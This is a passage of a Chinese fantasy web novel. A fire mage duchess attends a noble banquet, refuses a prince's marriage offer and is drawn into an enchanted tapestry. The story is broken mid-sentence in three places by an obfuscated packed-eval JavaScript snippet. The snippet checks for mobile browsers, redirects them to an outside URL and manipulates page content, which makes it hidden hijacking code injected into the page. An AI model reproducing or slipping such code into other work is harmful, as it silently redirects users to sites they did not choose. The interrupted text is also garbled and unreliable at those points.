此时此刻，他们距离很近，他小声却坚定地说：“我会努力学剑术。玛西亚，相信我，相信我。” “好哦。” 小心收起亚当的胸针，又帮斯黛拉锁好门，他们离开了猫尾街。 26. 误入宴会的猎人 马车向王都北郊行驶，玛西亚从车窗探身回眸，最后朝埃文摇了摇手。 回到车厢坐稳后，视线落在对侧的丝绒坐垫上，她意识到自己此刻孤身一人，有点空落落的不适应。 原来和恋人分开是这种感觉。 假情侣分别尚且依依不舍，斯黛拉现在一定痛苦极了。 在成为公爵之前，玛西亚遇到的追求者大多动机不纯，她不得不用冷漠的铠甲来抵御恶意。成为公爵之后，王室又开始以爱情为诱饵掠夺她的血。 好像每一件事都在印证妈妈的正确，爱情是很危险的东西，或者说，爱情是玛西亚这样的女孩负担不起的。 可如今，她的朋友斯黛拉也在为爱情遭受严厉的惩罚。这让玛西亚横生一股逆反心理，这不对。 她们当然有资格得到一切美好的事物，包括爱情，是另有一群无爱且残酷的家伙在跟她们争抢这个世界。 去打败他们就可以了。 当玛西亚怀揣着熊熊燃烧的战斗决心抵达镜湖庄园，大门处迎宾的仆人无不为她脸上的杀气感到惊悚。 待玛西亚手持法杖，如前来决斗叫战的骑士那样踏进庄园，走入主楼，身后的仆人们才长松一口气，心有余悸地从僵麻中解脱。 “我的老天，纵使她长了那样一张毫无魅力的脸，脸上的表情也可以温柔一些吧！” “但她身材挺好的。你看清了么？脱了衣服一定很有料。” 这两个年轻仆人初来乍到，没有见识，又惯性轻浮，人刚一离开视线，就忍不住对女人的身体评头论足。 年龄稍长的仆人喝到：“蠢货！你以为这还是在费雪伯爵府么？她可不是来借钱的穷亲戚，那可是玛西亚·布莱斯公爵！” “公爵？”仆人仍为自己找着借口，“她的马车上没有家徽啊！” “那是因为她……” 他也说不清所以然，用仅知的信息推测：“她是烧死魔王的战争英雄，平民出身，刚得到爵位，家徽什么的，以后会有的。记住那双青绿色的瞳孔！别不长眼！” 年轻仆人身形缩了缩，闻听刚才的女人烧死了魔王，有些后悔说了那些不恭敬的话。 可承认错误总是很难。他很快又觉得，一个女人即便是魔法师，也未必真能勇猛至此。也许在她前边已经有很多人把魔王打得差不多了，她去时正好赶上最后一击。 想到这儿，他心里酸起来，觉醒魔法天赋就够走运了，她竟然还捡了功劳，摇身一变，成了公爵。 他能接受安琪小姐那样的美人儿凭借“女人天生的优势”一步登天，却接受不了玛西亚的存在。这就好像她抢了他什么似的。 “魔法，真不公平啊！我怎么就不是魔法师。” “别嘀嘀咕咕了，打起精神，站直一点。” 镜湖庄园的主楼是一栋华丽的三层建筑，一层的天花板挑得很高，一侧有玻璃阳光房引入光源，使空间显得极为宽敞明亮。 另一侧像条画廊，除去一张装饰性的古老挂毯，其余皆是利刃女王时期的人物油画。说起来，这位女王真的毫不掩饰自己的性情，她在单人画像中一脸严肃，展现十足的君主威严。在与王夫的双人画像中，女王则面带笑容，脸上有种因处在健康的关系里而放松、安闲的幸福神色。 在王夫死后的第十五年，女王开始频繁召见一个自称可以和亡者对话的灵媒。 现在想想，所谓的与亡者对话，应该只是火焰幻象，或者水中梦境。早期的觉醒者分不清魔法与迷信的区别，所以根本没有什么灵媒，只有魔法师。 二层是极尽奢华的宴会厅。 靠窗的位置摆着一架巨型钢琴，这是已故风魔法师泽菲利克·卡德的杰作。每当人按下琴键，键盘就会回以一串音符。它感应着演奏者的情绪，自动生成旋律。 所以，不会弹琴不懂音乐的人也可以用这架钢琴演奏一曲。 玛西亚忍不住多看了这架钢琴几眼。一方面感慨魔法的神奇，一方面又觉得这架琴过于暴露人的内心。 三层是供客人休息的卧房。 片刻后，斯黛拉以令玛西亚倍感陌生的形象出现。 只见她璀璨的金发扎束成花苞，与玫瑰紫绸裙上的繁复的枝叶暗纹呼应。所有裸露在外的皮肤都覆了一层细腻的粉，腮红轻点在脸颊，眉毛精心修成细弯的形态，嘴唇红得快要滴血，使玛西亚想到某种多汁的浆果。 真美，但这不是斯黛拉。 “公爵大人，好久不见。”斯黛拉嘴唇轻轻掀开，露出完美的微笑。 “爱……爱丝特拉雅·罗斯瓦尔小姐，日安。” 玛西亚愣了愣，迈开步子走向她。 晚宴尚未开始，宾客陆续到场，三五成群地交谈，玛西亚与斯黛拉自然而然地凑在了一起。 她们躲避着人们的目光，去到巨型钢琴与窗帘之间的阴影里，玛西亚小声地询问：“斯黛拉，你还好么？” “不好。”斯黛拉惨然道，“父亲要我和边境贵族林登伯爵结婚。对方不介意我是否纯洁，承诺给罗斯瓦尔家钻石矿的分成。” 玛西亚低呼：“钻石矿？根本是为了利用你的堪矿能力吧！” 她惊讶地发现，这和那天她去向斯黛拉征求建议时分享的故事如出一辙，女人拥有某种能力，然后男人为了得到她的效力，不肯支付真正的报酬，反而“奖励”给她一场婚姻。 她们的处境没什么不同。 “可恶！”玛西亚愤怒道，“他以为你做梦都想嫁给他！还说什么不介意你的婚前纯洁，真让我想吐。” 斯黛拉曾说：拥有力量就拥有选择。 本来以为战争结束后就会自然而然过上更好的生活。结果一切都调转了方向，女魔法师并没有延续战时得到的自由选择权利，反而成了更有油水的肥肉。 魔法，好像只是为她们在婚恋市场上镀了层金。 她们依然摆在橱窗中，只不过售价更高了些。因为魔法的优势，让买家不那么挑剔她们其他的“瑕疵”。 斯黛拉脸色一白：“我没有办法，父亲把亚当卖给了贝索人。我若听话，他就把奴隶贩子的名字告诉我。我若不听话……” 素来坚强的女人鼻尖发酸，嗓音沙哑：“参加晚宴，是我唯一出门的机会。倒要感谢莱昂王子对安琪小姐的偏宠，我父亲一听是镜湖庄园，就放我出来了。” “抱歉，玛西亚，我只能用这种方式见你。” 玛西亚用力攥紧她的手，低声安慰：“别这么说。我若什么也不为你和亚当做，才会后悔一辈子。” 贝索人是这片大陆上为数不多的奴隶制国家。在人魔战争期间，所有的国家都在设法打败裂隙中涌出的魔族，只有贝索王思路诡异，他的名言是：“吃人的魔族？那就用奴隶去喂饱他们。” 只能说挺幽默的。 他们落后而愚昧，有着外人理解不了的凶残文化，而亚当是个性情温和的花农，沦为贝索人的奴隶无疑会让他生不如死。 “婚期定在什么时候？”她想知道还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099880|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有多少营救亚当的时间。 “三月中旬。在此之前，我都要乖乖听话，做一个真正的‘淑女’。” 玛西亚愁得直挠头。到那时候，即便知道了买主的名字，亚当也早不知被转卖了几手。 “为什么会有水魔法师为罗斯瓦尔侯爵效力？” 斯黛拉张了张嘴，没能发出声音。 玛西亚骇然：“你被下了禁言术。” 禁言术是高阶风魔法，可以让中术者无法说出特定的内容，能够使斯黛拉说不出话，说明对方的水平还要更高。 罗斯瓦尔侯爵怎么会得到如此多魔法师的帮助…… 她只能改换提问方式，试图通过斯黛拉“是或否”的回答，缩小真相的范围。 “那个风魔法，是男人，对么？” 斯黛拉艰难地开口：“不。” “你之前见过她，对么？” 斯黛拉痛苦地摇头：“……不。” “年龄比我们大，对么？” “……” 即便是这样一个字的回答，也极其消耗精神力，玛西亚问了两个问题后，斯黛拉开始呼吸不畅，额头沁出豆大的汗珠，强行冲破禁言得不偿失。 她们只能停下来。 约五点钟，安琪小姐翩然而至。这是一场中型宴会，安琪小姐虽没有头衔，却是备受第一王子宠爱的情人，参加宴会的宾客也都是贵族名流。 “我要感谢大家的到来。今天在这里的，有我亲爱的旧友，亦有对我不甚了解的新朋友。没有什么比朋友们欢聚一堂更让我感到幸福的事了。” 安琪小姐的目光在众人的脸上逡巡，初尝恩宠带来的荣耀滋味，她心情大好，比平时更加明媚动人，红发犹如燃烧的欲望，炽热蓬勃。 她忽而抬起手，仿佛喜出望外：“谁能想到，卡尔殿下也在庄园附近打猎，方才他派人来问，能否加入我们的宴会。” 呵。 真是一点都不意外。 “我有什么理由拒绝王子呢？瞧，殿下已经来了。” 众人齐刷刷扭头看向宴会厅入口。卡尔还没有来得及脱下猎人的装束，他背着一把黑色长弓。宽腰带裹出细劲的腰，鹿皮筒靴上还沾着些许泥土。 他伸出纤长白净的手指，摘下黑色兜帽，露出雪一样的银发。 王子温和带笑：“不知道能不能在这儿讨杯酒喝。当然，我乐意用猎到的野味给大家加道菜。” 他看到了玛西亚，愣了愣，紫罗兰色的眼睛里露出些微的惊讶，随即绽开诚挚的笑容，“玛西亚也在？” 被点到名字的玛西亚回以同样的问候，起身行礼：“见到您很高兴。亚斯特闪耀的星星。” 由仆人们取下披风与弓箭，卡尔朝着长桌走来。 安琪立刻说：“不如殿下就坐在布莱斯公爵旁边？您们很熟悉，不是么。” 卡尔说：“是的。准确地说，我和罗斯瓦尔小姐也很熟，我们是魔法学院同一届的学生。” 安琪：“那真是太好了。您们一定有说不完的话呢。” 卡尔温柔地看着玛西亚，丝丝缕缕的情意像看不见的线，试图往玛西亚的心里钻。紧接着，他像反应过来什么似的，控制住自己的情感，露出略带遗憾的微笑。 “可以么？”他问。 他总能让玛西亚在心里翻白眼。如果卡尔能稍微真诚一些的话，玛西亚也未必会这么讨厌他。 玛西亚打起精神与卡尔虚以委蛇，礼貌地说：“当然，殿下。” 27. 追逐兔子的亡者 卡尔有一张过分精致的脸，标准的童话故事里的王子，但是为了玛西亚，他露出了破绽，开始允许自己身上有一点轻微的汗味，允许自己额前的发丝凌乱。 他有进步，至少他学会了以对方的喜好为先，不再总想着把玛西亚拖进他完美的世界里。 卡尔坐在玛西亚旁边后，朝斯黛拉打了招呼：“好久不见，罗斯瓦尔小姐，你今天实在美丽，但气色似乎不太好？不舒服么？” 斯黛拉回答：“殿下，谢谢您的关心，我只是乘了太久马车，有点累。” “现在还和那个花农在一起？” 为了叙旧，也为了把话题拉到恋爱上，卡尔成功踩中了斯黛拉心中正在流血的痛处。 斯黛拉“嗯”了一声。 “他确实很适合你。你们都喜欢植物，热爱自然。” 这话实在不像出自卡尔之口，惹得玛西亚怪异地看了他一眼。 卡尔则有些不好意思地对玛西亚笑笑，低声解释说：“也许你一直觉得我轻视平民。然而没有平民，亚斯特的贵族以何为生呢？我并非不懂这个道理。” 玛西亚干笑两声，没说话，这好比农场主在说他很重视自己的家畜，确实发自真心。 仆人们端来丰盛的菜肴：呈蜂蜜般金黄色泽的脆皮烤乳猪，同肉桂、丁香、黑胡椒等香料一起腌制后炙烤的羊肩肉与鹿肉，以及各种叫不上名字的鱼与禽鸟。蔬菜则以色彩明亮的叶菜为主，点缀其间。 有一道孔雀肉冷盘吸引了玛西亚的注意：淡黄色的肉片排成一只鸟的形状，盘子上特意插了一圈孔雀尾羽。就好像把活孔雀的身体掏空，再用这碟熟肉替换。 美丽的动物不会得到优待，他们会给它一个美丽的死法，再以优雅的方式去品尝。 玛西亚无端地想到了什么，一阵毛骨悚然。 她低下头，专心地用刀叉和眼前的柠檬挞交战，久久没有说话。 卡尔对沉闷的气氛有所察觉，他开始发挥自己的社交天赋，细说每道食物有趣的历史，如烤乳猪的口中为什么要塞一只苹果，为什么古人喜欢把鹌鹑塞进鸡的肚子里，又把鸡塞进鹅的肚子里，把鹅塞到大雁肚子里，做出套娃一样的“四禽合一”。 他提起镜湖庄园的四季美景与他幼年时在此的趣事。聊着聊着，便很自然地聊到利刃女王。 “利刃女王与王夫本是政治联姻，没有感情基础，但自从他们来这里共度月落节，一切都变了。镜湖庄园的美景拉近了人与人之间的距离。” “别忘了，还有美酒。”安琪适时插话，在空气中击掌，仆人们便为宾客奉上黄金酒，“布莱斯公爵，您乐意赏光喝两杯的吧？” 玛西亚抬起头，说：“确实。不过——” 她现在已经没那么爱喝酒了，可能以前也并不真的爱喝，她只是想让紧绷的神经稍微放松一下。何况现在有个万能的借口…… “不过埃文不喜欢酒味。我正在戒。”玛西亚象征性地抿了一口，便放下了酒杯。 听到埃文的名字，卡尔表情一滞，众人则尴尬地笑笑，有不知情的，还小声问同伴：“那是谁啊？” “唔，是公爵大人的……恋人。” 只有斯黛拉打起精神，捧玛西亚的场：“每一个火魔法师都是酒精的俘虏，直到她遇见了真正的爱情。恭喜您，公爵大人。” “谢谢。赞美真正的爱情。”她胡乱说着不像话的敬酒词，把卡尔献殷勤的嘴堵住。 玛西亚刻意保持清醒，卡尔一心想增加玛西亚对他的好感，当然不会灌酒。 宴会结束，醉醺醺的宾客们被带到了三层客房休息，卡尔则被领到位于庄园西翼的另一栋独立建筑中。 熄灯后，玛西亚没有睡，她知道晚上才是最该提防的时候。 没过多久，卧房的玻璃发出一串轻响。她带着火苗凑过去，看到窗外有只白色的鸟——卡尔的风灵。 风灵抖动翅膀，气流震颤透过玻璃，传来卡尔提前刻录的声音，从语调，到音色，都和本人一模一样：“玛西亚，我有话对你说，请来一层。” 玛西亚当然不想去。这种传讯魔法并不能即时对话，她装没听见就好了。可风灵很快传来了卡尔的第二句话。 “我想把父王关于怀特兰的计划告诉你。” 原来他们也知道她真正想要的是什么。这次的诱饵，显然比卡尔那令人发笑的“男色”更有吸引力。披上外套，抄起法杖，玛西亚走下了楼梯。 卡尔站在花纹繁复的古老挂毯前，手持银制烛台，背对着玛西亚。听到她的脚步声渐渐靠近，缓慢地回眸：“玛西亚，你来了。” “嗯。让殿下久等了。” 静悄悄的夜晚，幽暗的走廊，只凭一根蜡烛的光照亮两个人，莫名有种私会的感觉。 玛西亚注意到卡尔只穿了丝绸睡袍，赤脚踩着软拖鞋，心中一阵尴尬，真怕他腰间的带子突然掉下来。是故意这么穿的么？ 她直奔主题：“陛下对怀特兰有怎样的安排？” “四月底是各地执政官与领地代理人来王都缴纳税金与汇报政务的日子。父王希望那之后我可以跟你一起去怀特兰。” “您也去，那是什么意思呢？”她忍不住讥讽，“爱德华陛下认为我不具备治理领地的才能，对么？” 白羽一样的睫毛颤了颤，卡尔的神情复杂，语气带着一丝真假难辨的歉疚：“怀特兰是亚斯特东部最好的公爵领，泪河两畔土地肥腴，密林参天，虽然人口少一些，但经过修生养息，十年后恢复到两万人应该问题不大。那时候你正值壮年，又是实力强大的战斗法师。父王难免有所忌惮。” 玛西亚不太客气地说：“如果陛下吝惜怀特兰，那么一开始就不要用它来当奖励。一国之君，怎么可以言而无信？” 卡尔很有耐心地解释：“那是先王留下的重赏。我们不知道战争真的可以结束在亚斯特人手上。这让我们惊喜，也有些措手不及。政治总是很复杂的。你也许不懂……” 没错，她不懂。 她所知的政治就是妈妈要为一份擦地板的工作求好几个人，向主家一次次剖心挖肺似的证明自己有力气、勤快并且手脚干净。当主人想要赖账，不肯付足够的薪水时，她除了哭泣与咒骂，没有任何反击的手段。 正如她现在，不得不为自己本该得到的东西讨价还价，妥协、周旋…… “所以殿下找我来是想说什么？” “结婚。你可以和我结婚。如果我们结婚，你就成了一个‘沃斯’，成为白银家族的一员。从今往后一切都变得简单了，我娶了棕发女孩，等同于放弃王位的宣言。陛下会放心你，莱昂也会放心我。” 玛西亚深深呼吸，问：“仅仅是为了这些，您就愿意和我结婚？” 卡尔愣怔片刻，喉结上下滑动，颤声说：“也因为我爱你。” “我有恋人，殿下。” “我知道，初恋总是让人难以忘怀。但是我猜你们应该还没有……当然，即便你们真正在一起过我也并不介意。玛西亚，在我心中，你一直是特殊的存在。” 应该为这番话受宠若惊么？ 她冷淡道：“像我这样性情、容貌的女人就像野花一样漫山遍野。您实在没有必要爱我。” 卡尔头脑一热，出于他无法解释的情感，说出了非常真诚的赞美：“她们也像你一样勇悍、纯粹、炙热到能烧死魔王？” 玛西亚想了想，说：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103614|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然。这个世界上不只有魔王，还有无数幸福的敌人，每个女人都在战斗吧，我猜。” 她的拒绝令卡尔难堪，利益已经讲明，感情也已告白，玛西亚竟然一样也不稀罕。 卡尔并不觉得自己输给了埃文·贝克尔，他已经听人汇报过了。那不过是个愚笨、无知、贪慕虚荣、性格恶劣，只会买衣服和养老鼠的漂亮男妓。 为什么玛西亚会掉进这样的圈套呢？如果知道她会为了弥补青春的匮乏，变得饥不择食，当初他就不该容许人们那样对她。 有人稍微对她好一点，她就跟着人家走了！这个人本应是自己，本应是唯一正眼看她的卡尔王子才对。 原本志在必得的女人，突然变成了难以攻克的坚固堡垒，卡尔不由感到受挫。紧接着，他开始自我安慰。 应该只是雏鸟情结，玛西亚并不是真爱那个平民，她仅仅是喜欢上了第一个对她展开猛烈追求的人。 抢过来就好了。他不能和哥哥争王位，不能和父亲抢权威，难道还不能抢女人么？ 握着烛台的手指关节泛白，蜡烛火苗随他的动作晃动，光影缭乱。 卡尔沉吟片刻，恢复了理智，继续说服：“玛西亚，利刃女王柏莎最初也不喜欢王夫罗伯特。她是为了联合贵族对抗‘叛逆者’提塔，才和‘第一骑士’结婚。但是我们都熟悉历史，即便出于利益的结合，也可以培养感情。于公于私，我都希望你再考虑考虑。” “啪嗒——” 一团白色的东西突然从天花板掉了下来，卡尔及时躲开，向后撤了一步。 玛西亚定睛一看，正是她学生时期最熟悉的魔物之一，老宅子里的幽灵兔。 她不由莞尔一笑，趁机转移话题：“安琪小姐最好在春天到来之前请人消灭这些兔子，不然它们会繁殖得到处都是。” 说罢，她随手弹出一道魔力，击穿了幽灵兔半透明的身体。 出乎意料的是，火焰贯穿而过，幽灵兔依然在地板与天花板之间“啪嗒啪嗒”地跳动。这时，玛西亚才惊觉，她和卡尔身处火焰幻象中。 她看了看卡尔手中的蜡烛，回忆刚刚两人的对话，得出结论。 “我们好像无意中触发了古代魔法师留下的幻象。他们的咒语很不规范，施法的逻辑也不清晰，有效的动作和无效的形式杂糅在一起。有点像……” 卡尔答：“灵媒。” 他清楚自己祖先的历史，庆幸在玛西亚想要逃走的时刻，祖先出手相助把她留下，这就好像某种暗中运转的命运。 没错，这是政治。可那又怎么了？利刃女王用婚姻收服“第一骑士”和他用婚姻掌握“烈焰之炎”有什么区别？ 如果前者可以为人称颂，后者自然也可以。 卡尔说：“蜡烛晃动的影子，女王与王夫的真名，恐怕也因为我们一直在讨论爱情，总之，我们与过去的时空发生了重叠。” 解开幻象需要一点儿时间。 古代的魔法师水平虽然不高，可他们有着惊人的想象力，他们的魔法丰富而混乱。 好比一个有经验的建筑师可以按照图纸复现一座华丽的大房子，却未必能研究明白深林里的鸦人在树上搭的奇形怪状的小窝。 利刃女王非常思念王夫，所以请了灵媒召唤王夫的“亡灵”，如今看来那个灵媒是火魔法师。 画中的王夫活了过来，他拿着一柄长剑，追逐着蹦蹦跳跳的幽灵兔。一边挥剑，一边念念有词：“奇怪的魔物越来越多了。柏莎！如果你能奖励我一个吻的话，我也许能更快解决他们。” “殿下，吹灭蜡烛。” 卡尔极具风度地微笑：“好。” 烛烟飘散，幻象没有消失。 28. 意想不到的战斗 幽灵兔非常小，攻击力也弱，可它们却掌握着某种人类未知的空间魔法。幽灵兔的动作像被抽掉几页的图画书，毫无连贯性，总是突然消失，又快速地出现在另一个位置。 即便王夫武艺高强，到最后仍不免气喘吁吁，像进行了一场酣畅淋漓的击球比赛。白亮的剑光不断闪动，幽灵兔的尸体渐渐堆成了小山，罗伯特用手背擦了擦额头的汗。 “哈，罗伯特大胜幽灵兔！柏莎，你在笑什么？” 他脸上的表情有种与年龄不相符合的天真。嘴上一直在抱怨，实际上任谁都能听出他在撒娇。他想得到利刃女王的夸奖。 这使玛西亚想起一个熟悉的人，她也无知无觉地跟着没有出现在幻象中的女王笑了一下。 卡尔也笑了。 真好，一切都在计划之中。 幻象不断发生改变，如同一个梦连着另一个梦，梦之花重重叠叠地绽开。 “柏莎，我知道你最近焦头烂额，但也不能忘了吃东西，不是么？休息一会儿吧，我准备了你喜欢的馅饼。”王夫忧心忡忡，贤惠地端来亲手做的食物。 蓝莓馅饼卖相不佳，但用料充足，金黄的饼皮烤得微焦，黑色的果馅儿流溢出来，冒着热气。 竟把玛西亚看得有点馋。 过了一会儿，王夫的形象变得成熟了一些：“柏莎，我派人找到了鼠尾草上的白色甲虫。我已经吃下去了，怎么说呢，我感觉它们现在正在我的胃里爬！哈哈，不过这样你就不用担心再经历一次分娩之苦。希望它不影响我生育之外的能力。今晚……让我陪你，可以么？” 玛西亚感到一阵尴尬。 这个幻象未免太真，玛西亚甚至看到了罗伯特说话时一翘一翘的浅金色发梢，以及瞳仁里倒映出来的女王的影子。 玛西亚有种一不小心打开了别人日记本的感觉，非常不好意思。身体里一部分是好奇，她想了解古代名人的日常生活，另一部分则尖叫着想逃跑，为什么她要和卡尔在这里观看这样的幻象？为什么是卡尔！ 卡尔则很乐于把祖先的生活展现给玛西亚，因为这能证明他的论点——政治联姻也可以生出真正的爱情。 “玛西亚，他们很幸福，不是么？”他说。 玛西亚不否认，但当务之急是走出幻象，回房间里睡个好觉，天一亮就离开这里。 何况，卡尔又拿什么和王夫比。玛西亚确信他永远也不会真正走进厨房，更不会为了任何女人主动避孕，活吃白色甲虫。 玛西亚对他说：“如若在火焰幻象里呆太久，视力会遭到永久损伤。这些由魔力制造的影像，实际上比我们感受到的要更加明亮。您是不是已经开始眼睛痛了？” 听了玛西亚的提醒，卡尔才觉出眼球传来一股酸胀，于是他再次放出风灵，白鸟轻盈翻飞，开始仔细查看魔力的流向。玛西亚则默默感应火魔法的密度。 兜兜转转，玛西亚和卡尔又回到了挂毯前。 卡尔轻笑：“古代魔法师真的毫无逻辑，竟然把魔力编织在毯子里。他们把简单的事情搞复杂了。” 玛西亚摇了摇头：“不。殿下，我认为并非是那个灵媒把魔力储存到毯子里，更像是毯子本身在主动吸附魔力。” 玛西亚伸出手触摸这张挂毯上繁复的装饰纹路，古老织物独有的粗糙触感从指尖传来：“这里的魔力在涌动。” 卡尔：“总之只要抽走毯中的魔法，今晚的小插曲就结束了。” 说罢，他朝着挂毯释放风刃，解不开缠在一起的魔力线团，干脆全都剪掉。 “等等，殿下，让我再看看……” 幻象泡影般消失，意想不到的情况也随之而来。 挂毯突然涌现出远超两人预料的巨量魔法，暖橘红色的能量像龙卷风一样裹向玛西亚。 片刻后，光芒熄灭，她被这道能量拖进了毯中，如被吞食一般，消失得无影无踪。 卡尔愕然地留在原地。 为什么这里会有一张“吃人”的挂毯？不，这不重要。重要的是玛西亚还能自己出来么？ 穿过走廊的风吹动他轻软的丝绸睡袍，此刻的局面使他为博取玛西亚好感所做的一切努力都变得滑稽。 他不得不承认自己的失误，开始拿出十二分的专注重新检查面前的挂毯，寻找破解的方法。 “玛西亚？玛西亚！你能听见么？” 看着玛西亚在自己面前消失，王子的心如坠冰窟。他甚至觉得一起和玛西亚被卷走也是件好事。他们可以共患难一次。 他一点都不想变成现在这样，怎么会搞砸了？怎么会。 然而，玛西亚毫不惊慌。 只要能离卡尔远一点，她愿意被魔法卷去任何地方。对这个男人的厌恶情绪强于对未知的恐惧。 她甚至有点感激这个意外，感谢卡尔一如既往地自负。 不同于卡尔不屑一顾的态度，玛西亚对古代魔法造怀有极大的兴趣。那是魔法的童年时代，一切都处在混沌之中，规则尚未成型。她很愿意撇下卡尔，自己单独开启一场探索。 等出去后，还可以借口疲惫，摆脱他的纠缠。 身体在魔法的涡流中短暂地麻痹了一会儿，她逐渐恢复感觉。玛西亚开始观察所处的环境。 玛西亚看到了金色的云团，以及藏在云团中的……天国精灵。 他们和建筑物拱顶上的彩绘一模一样，身着没有接缝的彩衣，皮肤细腻，肤色像是黑珍珠一样的静谧灰色，身后背着蜻蜓般的薄翼，翅膀反射着绚丽的偏光。手臂上提着花篮，不断洒下赐福花瓣。 “哦，我的天呢。” 过了一会儿，精灵朝玛西亚飞来，悬停在她身前一臂的距离。他们用清泉一样空灵的声音对她说：“欢迎你来到天国乐园。” 玛西亚被这些精灵翅膀簌簌抖落的星尘迷了眼，缓了缓，视线才重新清晰。 原来挂毯后边是一幅立体的、会动的“装饰画”。 “不可思议，这位前辈竟然用火焰幻象构建了一个神话世界。”她喃喃说道。 “不！这是创世神的栖处，是真正的天国乐园！你是被神力接引而来。” “你这么说她怎么听得懂？神力，就是你们人类所说的魔法。” “祂给你们人类的是自然之力，也就是元素魔法。至于时空之力与精神之力，被祂赐给了其他生物。” 精灵们争先恐过地为她解答。 “比如幽灵兔！” “比如人鱼！” “比如炎晶鸟！” “错啦，炎晶鸟属火，那也是元素魔法。” 精灵们叽叽喳喳地解释，闻所未闻的知识挤进玛西亚的大脑。 她试着理解刚刚发生的一切：她被魔法吸入毯中，而毯中世界是天国乐园，天国精灵在和自己说话……她下意识地摸了摸腰间，那里挂着埃文送她的炎晶鸟蛋，她一直随身携带，等待它破壳。 手指隔着束口袋碰到硬硬的蛋壳，仍能感觉到生命的温度与炎晶鸟微弱的心跳，看来不是在做梦，也不是死了。 她想去摸摸这些精灵，精灵便笑嘻嘻地朝她伸出食指。指尖轻触，她没有感受到火焰魔法，而是感受到了它们柔软干燥的皮肤，体温略低于自己。 “真的是精灵。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112106|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当然！当然！当然！”精灵好像很喜欢用一声高过一声的回答表示强烈的肯定。这使玛西亚的耳膜有些痛。 理解了精灵的话语后，玛西亚变得茫然。她从未听谁说过魔法的来源。魔法真的如高塔会所说，是“神启”？神祇有何指教？作为凡人，她应该跪下来么？可她心中并未生出任何敬畏，膝盖毫无弯曲的冲动。 “神明为什么要接引我来这里？” “因为你屠灭了魔王。祂一直想要嘉奖你，予你更多恩赐。” “……” 玛西亚高兴不起来。 被白银家族愚弄、算计的遭遇破坏了她对上位者的信任，她忍不住低声说：“祂最好给我一些真正的奖励。” 闻言，精灵们发出一串小动物般的笑声。“祂当然会给你最好的东西！因为你祛除了祂的顽疾！缓解了祂的疼痛！让祂拥有了最后的安宁！” 过了一会儿，这些精灵又开始呜呜咽咽地啜泣，伤心地说：“但是神明的生命亦有终焉，现在，你要自己去拿这些奖励。” 玛西亚问：“现在？” 精灵们齐声说：“是的！是的！是的！祂把奖励放在那里——” 他们拨开了金色的云，一个丑陋的巨怪展露在玛西亚眼前，它没有什么模样，好似一团沼泽里的淤泥，淤泥里嵌着一百只黑白分明的眼睛，那些眼睛诡异地静默着，很像牛眼，明亮、清澈、无辜，却也实在吓人。 “我该怎么做？”玛西亚问。 “不知道。它是神明最忠诚，同时也最愚钝的仆人，我们谁也和它说不通。”一个精灵说。 “它是创世神第一个造物，从祂创造第一个世界开始，这仆人就开始跟着祂了。”另一个精灵补充。 玛西亚强迫自己朝着那百眼巨怪迈了一步。 她心想，这么麻烦的话，干脆放弃算了。但紧接着不甘心的想法就占据了上风，她又觉得，凭什么自己不能得到点儿好东西？那本来就是自己应得的。都到了这一步，不妨把心里消极的想法抛一边，拿出干劲来，就当是个解谜游戏。 就这样，她一步步走近了它。 “咕噜……咕……” 啊，这真是让人摸不着头脑，这怪物连嘴巴都没有，到底是从什么地方发出了声音？ 她想向精灵们再获取些信息。结果哪还有什么精灵！他们早已纷纷飞远，继续不知疲倦地朝人间播撒花瓣去了。 玛西亚咬了咬嘴唇，试探性地伸出手，想要摸一摸巨怪的“肚皮”，从形状上看，最有可能藏东西的地方就是这里。当然，如果创世神给她的奖励不以实体存在，又另当别论。 巨怪的目光骤然凝聚成锋锐的冷焰，灼伤了玛西亚的手。 “嘶……很痛！你看起来不太友好。” 久违的疼痛感激发了玛西亚的好胜心。她弯了弯嘴角，问：“要打架么？” 一百只眼睛同时眨动，目光汇集之处，逐渐出现一个与玛西亚等高的人形。它有了红润健康的皮肤，长出了暖棕色的头发，过了一会，它睁开了青绿色的眼睛。它变成了玛西亚。 它歪了歪头，脖颈的骨头发出清脆的响声。 它对她说：“要打架么？” 与照镜子不同，那并不是她的虚影，而是实体。 它很像玛西亚，甚至可以说就是玛西亚，但它比玛西亚漂亮：更细的手臂和大腿，更挺拔的胸脯，更尖的下巴，更招人喜欢的笑容…… 玛西亚有点生气。 她觉得神明的仆人在以很低级的思路激怒她。 没有再说一句话，玛西亚开始攻击。 29. 有眼无口的忠仆 玛西亚站在金色的云层之上，和另一个玛西亚作战。 玛西亚使用火焰飞弹，对方也用火焰飞弹。玛西亚紧蹙眉头，对方也紧蹙眉头，它一举一动都模仿玛西亚——真的很让人讨厌。 这样打下去也永远也分不出胜负。 